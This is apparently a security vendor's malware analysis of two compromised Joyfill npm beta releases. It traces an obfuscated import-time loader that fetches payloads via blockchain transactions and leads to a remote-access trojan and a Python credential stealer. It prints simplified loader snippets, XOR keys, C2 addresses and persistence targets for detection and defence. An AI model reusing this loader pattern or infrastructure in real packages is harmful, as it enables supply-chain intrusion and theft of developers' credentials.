

Two Joyfill npm Beta Releases Compromised to Deliver DEV#POPPER Remote Access Trojan

By Socket Research Team

Published: 2026-07-28 · Archived: 2026-07-31 02:01:21 UTC



Secure your dependencies with us

Socket proactively blocks malicious open source packages in your code.

[Install](#)

Two npm beta releases in the `@joyfill` namespace contain an import-time JavaScript implant that resolves encrypted code through Tron, Aptos, and BNB Smart Chain transactions. Static analysis shows that its primary branch reaches a 77 KB Node.js remote-access trojan. A parallel branch launches a detached Node.js process, requests a separate boot payload from `23[.]27[.]13[.]43/$/boot`, sends the marker header `Sec-V: A9-0135-3`, decrypts the response, and evaluates it.

Joyfill provides software development kits for embedding forms, documents, and PDFs into web and mobile applications. `@joyfill/components` supplies the React UI components used to build, render, and edit these experiences, while `@joyfill/layouts` manages their page and field layouts.

Each package receives approximately 16,000 weekly downloads on npm. Because `@joyfill/components` depends on `@joyfill/layouts`, these figures overlap and should not be combined into a single download total. The affected versions were beta releases, so overall weekly downloads do not indicate how many users installed the compromised beta versions.

Affected Packages#

- [@joyfill/layouts@0.1.2-2773.beta.0](#)
- [@joyfill/components@4.0.0-rc24-2773-beta.4](#)

Neither uses an npm lifecycle hook. The functional layouts implant runs when Node.js loads the CommonJS package entrypoint, so `npm install --ignore-scripts` does not prevent execution once the affected module is imported.

The loader has exact PolinRider-family indicators, including its multi-chain resolver structure, global markers, and XOR keys. The recovered 77 KB final JavaScript has the highly distinctive [Socket.IO](#) command set, `Sec-V` marker design, and developer-tool persistence associated with the DEV#POPPER malware family. These are family assessments based on direct code overlap and published technical research, not an attribution of the Joyfill compromise to a particular group.

Impact#

The `@joyfill/layouts` release should be treated as capable of arbitrary code execution in the context of any process that loads it. This includes development environments, CI runners, test tooling, server-side rendering, and builds. The final recovered code can collect host information, establish a [Socket.IO](#) remote-control channel, execute supplied JavaScript or shell commands, upload files, read clipboard data, and modify files belonging to developer tools.

`@joyfill/components@4.0.0-rc24-2773-beta.4` contains the same malicious injection in `dist/index.js`, `dist/index.esm.js`, and `dist/joyfill.min.js`. Its published Rollup bundle supplies a throwing dynamic-`require` shim, preventing the loader from resolving its network dependencies in the normal bundled execution path. That limits execution in this particular artifact, but does not make the release safe or remove the evidence that the same source-level injection reached a second Joyfill package.

The preceding versions examined, `@joyfill/layouts@0.1.1` and `@joyfill/components@4.0.0-rc24`, do not contain the implant. Other public `@joyfill` packages checked during this analysis did not contain this signature.

How the packages were compromised#

Both malicious versions use the `2773` prerelease build marker and were published by the same npm identity using Node.js `18.20.0` and npm `10.5.0`:

- `@joyfill/layouts@0.1.2-2773.beta.0` : 2026-07-28T10:54:57.311Z
- `@joyfill/components@4.0.0-rc24-2773-beta.4` : 2026-07-28T11:03:59.568Z

The layouts source map attributes the appended implant to `src/utils/reactGridLayoutUtils.js`; the emitted source maps for both packages include the implant's own identifiers. This establishes that the code was present at bundle time rather than inserted only into a final tarball. It does not, on its own, identify whether the initial access was to a developer workstation, source repository, CI environment, or publishing credential.

Technical Analysis#

Stage 0: Module-load bootstrap

The implant is appended after legitimate package code. It begins with several layers of JavaScript obfuscation: a seeded character shuffle, a small decoded string table, a word-substitution decompressor, and dynamic `Function` construction. The recovered table contains `r`, `object`, and `m`.

In the layouts CommonJS bundle, the implant exposes Node.js module primitives through globals, then runs the decoded resolver:

```
// Simplified and normalized from the layouts CommonJS bundle.  
global.r = require;  
global.m = module;
```

```
const resolver = decryptEmbeddedPayload();
Function("", resolver)();
```

The bootstrap sets `global._V` to `A9-0135-3`, retains a 30-second process-global throttle in `_p_t`, and launches two separate payload-resolution paths. One evaluates its result in the importing process. The other uses `child_process.spawn("node", ["-e", payload])` with `detached: true`, `stdio: "ignore"`, and `windowsHide: true`, then calls `unref()`.

This is why the implant is not an install-hook attack: package loading is sufficient to begin the chain.

Stage 1: Blockchain-backed dispatch

The first resolver obtains a BSC transaction hash from the latest outbound transaction of a hard-coded Tron address. If that fails, it queries an Aptos account and reads `payload.arguments[0]`. It then retrieves the BSC transaction through `eth_getTransactionByHash`, reverses and decodes the transaction input, splits it on `?.?`, XOR-decrypts one segment, and evaluates the resulting JavaScript.

```
// Simplified and normalized from the recovered resolver.
const pointer = await resolveFromTronOrAptos();
const tx = await bscRpc("eth_getTransactionByHash", [pointer]);
const decoded = decodeAndReverse(tx.result.input.slice(2));
const nextStage = xor(decoded.split("?.?")[1], key);
eval(nextStage);
```

The in-process route uses the following values:

- Tron: `TMfKQEd7TJJJa5xNZJZ2Lep838vrzrs7mAP`
- Aptos fallback: `0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e`
- XOR key: `2[gWfGj;<:-93Z^C`
- BSC payload transaction: `0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d`

The detached branch uses a distinct set:

- Tron: `TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG`
- Aptos fallback: `0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3`
- XOR key: `m6:tTh^D)cBz?NM]`
- BSC payload transaction: `0x7ffb4efddd96e20aec90724be2ac9a71c138a9af697b9fb8224bbf80ea4f22be`

The use of public blockchain data makes payload selection mutable without a new npm publication. Blocking a conventional C2 domain alone would not stop this initial retrieval sequence.

The first recovered payload: C2 selection and a second blockchain hop

The first in-process payload is a 5,849-byte JavaScript loader, SHA-256

`cb46f12d70824ea24ed1f8bcf45bf3f86680e02a9089aafc03b27f691be57be3`. It preserves its loader source in

globals, configures C2 values based on `_V` , and runs the same Tron or Aptos to BSC resolution method a second time.

For the Joyfill marker `A9-0135-3` , the loader sets the [Socket.IO](#) endpoint to `166[.]88[.]134[.]62:443` and the upload host to `166[.]88[.]134[.]62` . It also contains alternate profiles for `198[.]105[.]127[.]210` and `23[.]27[.]202[.]27` , including port `27017` for the latter.

The tier-two resolver uses:

- Tron: `TA48dct6rFW8BXsiLAtjFaVfSuryMjD3v`
- Aptos fallback: `0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1`
- BSC payload transaction: `0xb6c725890be6890fd2c735eedc47e24b85a350301f6c19a3864e43c35e470968`
- XOR key: `2[gWfGj;<:-93Z^C`

That transaction yields the final 77,276-byte `clientCode` payload, SHA-256 `26351aed0397158d3a3b8cc8fd3047d4c015d264c9895f10f20f1521b974ed18` . This is a directly recovered Joyfill downstream stage, not a capability assessment inferred only from a related incident.

The parallel second stage: Detached `/$/boot` downloader

The second primary payload is a 3,525-byte JavaScript bootstrap, SHA-256

`78f0de8682e0e894a5784eb7e95db4da6088f528918ca3107dd1e76f80a561d8` . It is started through the detached `node -e` path described above. Its C2 selector is independent of the 77 KB RAT branch.

For a marker beginning with `A` , which includes `A9-0135-3` , this branch selects `23[.]27[.]13[.]43` . It sends a Windows Chrome user agent and the header `Sec-V: A9-0135-3` in a request to `/$/boot` . It XOR-decrypts the response using `ThZG+0jfXE6VAG0J` and calls `eval()` on the result.

The same bootstrap carries fallback profiles for `198[.]105[.]127[.]210` and `23[.]27[.]202[.]27:27017` . This establishes that `23[.]27[.]13[.]43` , `/$/boot` , and the `Sec-V` header are direct Joyfill code findings. The response body itself was retrieved from a disposable analysis VM, not this branch's origin host, and is characterized below.

This is a redundant delivery branch, not a harmless fallback. It is detached from the importing Node.js process and can continue after a build, test, or CLI command exits.

Final recovered payload: Node.js remote-access trojan

The final `clientCode` payload is heavily obfuscated with control-flow flattening and an LZ-String-compressed table of 337 recovered strings. It is versioned `260605` and includes `socket.io-client` . It identifies the host to the configured [Socket.IO](#) service with values including a client UUID, process ID, hostname, operating-system details, and session timestamps.

Its command vocabulary includes `ss_info` , `ss_ip` , `ss_cb` , `ss_upf` , `ss_upd` , `ss_dir` , `ss_fcd` , `ss_stop` , `ss_inz` , `ss_inzx` , `ss_connect` , `ss_eval` , `ss_eval64` , `ss_exit` , and `ss_exit_f` . The code supports

supplied JavaScript evaluation, interpreter and shell execution, file management, and upload. It installs `axios` and `socket.io-client` into its working directory when dependencies are missing.

The final payload includes these additional behaviors:

- Uploads files to the configured upload host at `/u/f` using multipart form data and a `client_id`.
- Retrieves additional JavaScript through `/0x/js?_V=<version>&id=<id>`.
- Uses `/verify-human/` for status or check-in handling.
- Collects basic host details, Windows process listings, and public IP details through `ip-api[.]com`.
- Reads clipboard data through PowerShell on Windows, `pbpaste` on macOS, and `xclip` or `xsel` on Linux.
- Avoids execution on several development, CI, or sandbox hostnames, including `github-runner`, `buildbot`, `buildkitsandbox`, and `microsoft-standard-WSL2`.

The payload can persist by inserting a self-reloading block into application files that are routinely executed by developer tooling. Its targets include the `@vscode/deviceid` module inside VS Code, Cursor, and Antigravity; Discord Desktop's core module; GitHub Desktop's `resources/app/main.js`; and the global npm CLI at `node_modules/npm/lib/cli.js`. The injection tags include `/*C250617A*/`, `/*C250618A*/`, `/*C250619A*/`, `/*C250620A*/`, `/*C260511A*/`, `/*C260512A*/`, and `/*RS260605*/`.

Retrieved boot captures and Python credential stealer

Two live `/$/boot` response bodies decrypt with the same `ThZG+0jfXE6VAG0J` key used by the Joyfill detached branch. Their decoded bootstraps are 66,040 and 65,438 bytes, with SHA-256 values `26e679eaf1e9baeb7c55eb48db482301171d4d26e1728544b23734a90dc70e1b` and `2cfede38fb121a71a2f3607474aa8cd588a99f51b37e5e6f0d8cb789fa275032`. The saved response headers are time-stamped July 28, 2026, but do not retain enough request provenance to cryptographically associate either response with a particular infected Joyfill host. They are therefore treated as matching downstream captures, not as proof that every Joyfill execution received the same response.

Both bootstraps use additional obfuscated Base64 and RC4 string recovery, report status to `/verify-human/{campaign}` and `/snv`, and avoid a broad set of cloud, CI, container, sandbox, and analysis environments. They can install or use `axios` and `socket.io-client`, provision Python using `/d/python.zip`, `/d/7zr.exe`, and `/d/python.7z`, then request a Python payload from `/${id}` with the same `Sec-V` header. One preserved bootstrap also reloads the 77 KB `clientCode` RAT by using the same tier-two blockchain pointers as the Joyfill in-process branch.

A captured `/$/1` payload decodes to an 82,457-byte Python infostealer, SHA-256 `36ff00b45e67baa7e3674b0c80f48e88737264c61e5c6b3b091200972de8157c`. Its source is cross-platform and collects environment and host information, Windows Credential Manager and Linux Secret Service data, Chromium and Firefox browser data, browser-extension storage for wallets and password managers, Git credentials, GitHub CLI configuration, VS Code storage, and GitHub Desktop logs. It supports DPAPI, macOS Keychain, and Linux Secret Service or KWallet handling for browser decryption. We assess with medium likelihood that this is an iteration of the OmniStealer malware.

The Python code stages collected data under `%USERPROFILE%\npm` or `/tmp/.npm`, creates an AES-encrypted ZIP using `pyzipper`, registers metadata at `/u/e`, and uploads the archive to `/u/f`. It can also send a document through Telegram when C2 supplies a bot token and chat ID. Its embedded archive password is `././././`. These captures were retrieved once, from a disposable VM, with no request provenance tying either response to a specific infected host, so they are reported as matching downstream samples rather than as proof of what every Joyfill execution receives.

PolinRider and DEV#POPPER relationship

The loader's `rmcej%otb%` marker, `global` naming pattern, exact multi-chain resolution order, and XOR keys match the PolinRider-associated blockchain loader analyzed in [Socket's PHP supply-chain investigation](#). The recovered Joyfill client then matches the DEV#POPPER family on more specific operational indicators: `Sec-V` and `/$/boot`, the `ThZG+0jfXE6VAG0J` decryptor key, [Socket.IO](#) use, the `ss_*` command set, and persistence through developer-tool files.

The `/$/boot` and Python captures described above confirm the same follow-on is live in this campaign's own infrastructure, using this campaign's own keys and markers, not an inferred capability carried over from a different incident.

This campaign overlaps significantly with an incident analysed by eSentire earlier in 2026, in which DEV#POPPER was used to load DEV#POPPER RAT and OmniStealer. While in that case, the sourced was a weaponized clone of the Github repo "ShoeVista," this attack appears to have been due to maintainer compromise.

Recommendations#

For Developers

Remove both affected versions from lockfiles, caches, internal mirrors, build images, and deployment artifacts. Pin to an independently verified version (`@joyfill/layouts@0.1.1`, `@joyfill/components@4.0.0-rc24`) and prevent the affected versions from being restored by automated resolution. Avoid the `beta` dist-tag for these packages until Joyfill confirms remediation.

`npm install --ignore-scripts` does not help here. The implant runs at import time, not at install time, so any process that loads the module, including test runners, SSR, and bundlers, is sufficient to trigger it.

For Security Teams

Treat any machine that imported `@joyfill/layouts@0.1.2-2773.beta.0` or `@joyfill/components@4.0.0-rc24-2773-beta.4` as potentially compromised, not just at risk of data theft: the recovered RAT provides an interactive remote shell. Isolate the host, preserve logs and dependency artifacts, and rotate credentials reachable from the affected Node.js process before doing anything else, from a separate, uncompromised machine.

Investigate unexpected modifications to `@vscode/deviceid` under VS Code, Cursor, and Antigravity, Discord Desktop's core module, GitHub Desktop's `resources/app/main.js`, and the global npm CLI (`npm root -g`), since the implant persists there independent of the package itself. If the Python follow-on may have run, also

check for `%USERPROFILE%\npm` or `/tmp/.npm` staging directories and rotate browser-saved passwords, cookies, and any wallet or password-manager browser-extension data on that host, not only developer-tool credentials.

Review endpoint and CI telemetry for detached Node.js processes, the four C2 IPs, the `Sec-V` header, and outbound requests to `api[.]trongrid[.]io` or `bsc-dataseed[.]binance[.]org` from build agents or developer workstations. Blockchain RPC traffic from a CI runner is a high-fidelity signal on its own. Block both package versions in your registry proxy or dependency policy tooling.

MITRE ATT&CK#

- T1195.002 Compromise Software Supply Chain
- T1027 Obfuscated Files or Information
- T1027.013 Encrypted or Encoded File
- T1059.007 JavaScript
- T1059.006 Python
- T1059.004 Unix Shell
- T1071.001 Web Protocols
- T1105 Ingress Tool Transfer
- T1115 Clipboard Data

Indicators of Compromise#

npm packages and files

- @joyfill/layouts@0.1.2-2773.beta.0
- @joyfill/components@4.0.0-rc24-2773-beta.4
- Layouts: `dist/index.cjs.js` , `dist/index.es.js`
- Components: `dist/index.js` , `dist/index.esm.js` , `dist/joyfill.min.js`

SHA-256

- Layouts archive: `adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6`
- Layouts CommonJS bundle: `8e8b90dedd456ded0c5748119836e1ca1066112bc569c1b41ca70eb931d1d4dc`
- Layouts ESM bundle: `5f6a92006ca2ea4b464d66fb41af777edce7296939a7c6ee491e2b3cbfe09848`
- Components archive: `bcc93dc55bc7daedf4ca57254f0e7a7f1c40e09851eab98fe10cde801982db17`
- Components `dist/index.js` : `1352ad22c99983d91e600348b7cbf58235131b1ee34cea9f09623206d5b7dea7`
- Components `dist/index.esm.js` :
`67c6ef602cc850f10d935fee53fa0440df841adf081563bf4fc2631a71249ce`
- Components `dist/joyfill.min.js` :
`c5742ea1875ecd2360022624149994909cd0546e221e4203dff01f48de45469`
- In-process first payload: `cb46f12d70824ea24ed1f8bcf45bf3f86680e02a9089aafc03b27f691be57be3`
- Decoded tier-two resolver: `f452f9cfa539f4a1fe25187a99a484391290d5dbaa422ba455edf6b04f81b7d1`
- Detached second payload: `78f0de8682e0e894a5784eb7e95db4da6088f528918ca3107dd1e76f80a561d8`
- Decoded detached bootstrap: `ae7565109fd01b88d82acf7f73ab20709cbc2c9f26fdea13e429ccc87a55d4fb`

- Final clientCode RAT: 26351aed0397158d3a3b8cc8fd3047d4c015d264c9895f10f20f1521b974ed18
- Preserved /\$/boot capture: 26e679eaf1e9baeb7c55eb48db482301171d4d26e1728544b23734a90dc70e1b
- Preserved /\$/boot capture: 2cfede38fb121a71a2f3607474aa8cd588a99f51b37e5e6f0d8cb789fa275032
- Preserved Python stealer capture:
36ff00b45e67baa7e3674b0c80f48e88737264c61e5c6b3b091200972de8157c

Network and protocol indicators

- api[.]trongrid[.]io
- fullnode[.]mainnet[.]aptoslabs[.]com
- bsc-dataseed[.]binance[.]org
- bsc-rpc[.]publicnode[.]com
- 166[.]88[.]134[.]62:443
- 166[.]88[.]134[.]62:80
- 23[.]27[.]13[.]43/\$/boot
- 198[.]105[.]127[.]210:443
- 198[.]105[.]127[.]210:80
- 23[.]27[.]202[.]27:443
- 23[.]27[.]202[.]27:27017

Blockchain identifiers and loader fingerprints

- TMfKQEd7TJJJa5xNZJJ2Lep838vrzrs7mAP
- TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG
- TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v
- 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e
- 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3
- 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1
- 0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d
- 0x7ffb4efddd96e20aec90724be2ac9a71c138a9af697b9fb8224bbf80ea4f22be
- 0xb6c725890be6890fd2c735eedc47e24b85a350301f6c19a3864e43c35e470968
- 0x9bc1355344b54dedf3e44296916ed15653844509

Source: <https://socket.dev/blog/joyfill-npm-beta-releases-compromised>